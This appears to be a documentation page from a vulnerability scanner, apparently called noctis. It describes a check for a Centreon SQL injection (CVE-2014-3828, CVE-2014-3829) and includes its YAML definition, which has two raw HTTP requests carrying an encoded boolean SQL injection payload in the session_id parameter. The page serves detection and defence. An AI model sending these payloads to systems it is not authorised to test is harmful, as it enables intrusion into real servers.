Centreon — 1 vulnerability check
noctis ships 1 vulnerability check for Centreon, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Centreon displayServiceStatus.php SQL Injection
| CVE | CVE-2014-3828, CVE-2014-3829 |
|---|---|
| Severity | critical · CVSS 10.0 |
| Category | sqli — SQL injection |
| Services | http, https |
| Detection | tcp_connect, match · highest QoD 75 |
| Feed | tests/vulnerabilities/centreon/CVE-2014-3828.yaml |
Tests Centreon for unauthenticated SQL injection in include/views/graphs/graphStatus/displayServiceStatus.php. A boolean SQL payload in session_id leads the unpatched script to run its shell graphing command, whose "sh: graph: command not found" error is reflected in the response. QoD 75 (response analysis).
How noctis detects it
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /include/views/graphs/graphStatus/displayServiceStatus.php?session_id=0%27%20or%201%3… - Checks
root_resp.bannerforsh: graph: command not found→ finding QoD 75: Injected session_id reached the shell graphing command at /include/views/graphs/graphStatus/displayServiceStatus.php: … - Raw TCP (TLS on HTTPS), sent verbatim:
GET /centreon/include/views/graphs/graphStatus/displayServiceStatus.php?session_id=0%27%2… - Checks
centreon_resp.bannerforsh: graph: command not found→ finding QoD 75: Injected session_id reached the shell graphing command at /centreon/include/views/graphs/graphStatus/displayServiceStatus.php: …
References:
- https://nvd.nist.gov/vuln/detail/CVE-2014-3828
- https://nvd.nist.gov/vuln/detail/CVE-2014-3829
- https://web.archive.org/web/20210122064603/http://www.securityfocus.com/bid/70648
- https://web.archive.org/web/20210122064603/http://www.securityfocus.com/bid/70649
Feed source — tests/vulnerabilities/centreon/CVE-2014-3828.yaml
# Centreon displayServiceStatus.php SQL injection / command injection
# CVE-2014-3828, CVE-2014-3829
#
# The session_id / index parameters of
# include/views/graphs/graphStatus/displayServiceStatus.php are used unsanitised
# in a database query and, downstream, in a shell command line that invokes the
# graphing tool. A boolean SQL payload (`' or 1=1 -- /**`) carried in session_id
# makes an unpatched instance reach that shell invocation, whose error output
# (`sh: graph: command not found`) leaks into the HTTP response.
#
# Affected: Centreon <= 2.5.1, Centreon Enterprise Server <= 2.2.
#
# Detection (active, unauthenticated): send the encoded payload verbatim (the
# query string carries %xx sequences, so tcp_connect + raw HTTP/1.0 is used to
# avoid client-side URL normalisation) under `/` and the usual `/centreon`
# install dir, then match the shell error in the raw response.
#
# The static "sh: graph: command not found" error only shows the injected
# request reached the shell graphing code path (response analysis / pattern
# match), not a confirmed command execution or attacker-chosen read. The source
# NASL tags this remote_analysis, so QoD is 75 (not 97).
#
# Ported from OpenVAS/Greenbone NVT 2014/gb_centreon_70648.nasl
# (GPL-2.0-only) — same URL, method and match pattern.
uid: 06fc3566-6b5c-4545-96a0-811cae529d04
name: "Centreon displayServiceStatus.php SQL Injection (CVE-2014-3828, CVE-2014-3829)"
description: |
Tests Centreon for unauthenticated SQL injection in
include/views/graphs/graphStatus/displayServiceStatus.php. A boolean SQL
payload in session_id leads the unpatched script to run its shell graphing
command, whose "sh: graph: command not found" error is reflected in the
response. QoD 75 (response analysis).
cves: [CVE-2014-3828, CVE-2014-3829]
cvss: 10.0
severity: critical
confidence_base: 0.30
tags: [centreon, sqli, command-injection, unauthenticated]
category: sqli
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2014-3828"
- "https://nvd.nist.gov/vuln/detail/CVE-2014-3829"
- "https://web.archive.org/web/20210122064603/http://www.securityfocus.com/bid/70648"
- "https://web.archive.org/web/20210122064603/http://www.securityfocus.com/bid/70649"
- "OpenVAS/Greenbone NVT 2014/gb_centreon_70648.nasl (GPL-2.0-only)"
steps:
# ── Install at web root ────────────────────────────────────────────────────
- id: sqli-root
action: tcp_connect
port: "{{port}}"
send: "GET /include/views/graphs/graphStatus/displayServiceStatus.php?session_id=0%27%20or%201%3D1%20--%20%2F**%26index%3D1%27%20or%201%3D1%20--%20%2F** HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
timeout_secs: 10
store_as: root_resp
- id: sqli-root-match
action: match
source: root_resp.banner
pattern: "sh: graph: command not found"
on_match:
finding:
confidence_delta: 0.55
qod: 75
evidence: "Injected session_id reached the shell graphing command at /include/views/graphs/graphStatus/displayServiceStatus.php: {{root_resp.banner}}"
stop: true
# ── Install under /centreon ────────────────────────────────────────────────
- id: sqli-centreon
action: tcp_connect
port: "{{port}}"
send: "GET /centreon/include/views/graphs/graphStatus/displayServiceStatus.php?session_id=0%27%20or%201%3D1%20--%20%2F**%26index%3D1%27%20or%201%3D1%20--%20%2F** HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
timeout_secs: 10
store_as: centreon_resp
- id: sqli-centreon-match
action: match
source: centreon_resp.banner
pattern: "sh: graph: command not found"
on_match:
finding:
confidence_delta: 0.55
qod: 75
evidence: "Injected session_id reached the shell graphing command at /centreon/include/views/graphs/graphStatus/displayServiceStatus.php: {{centreon_resp.banner}}"
stop: true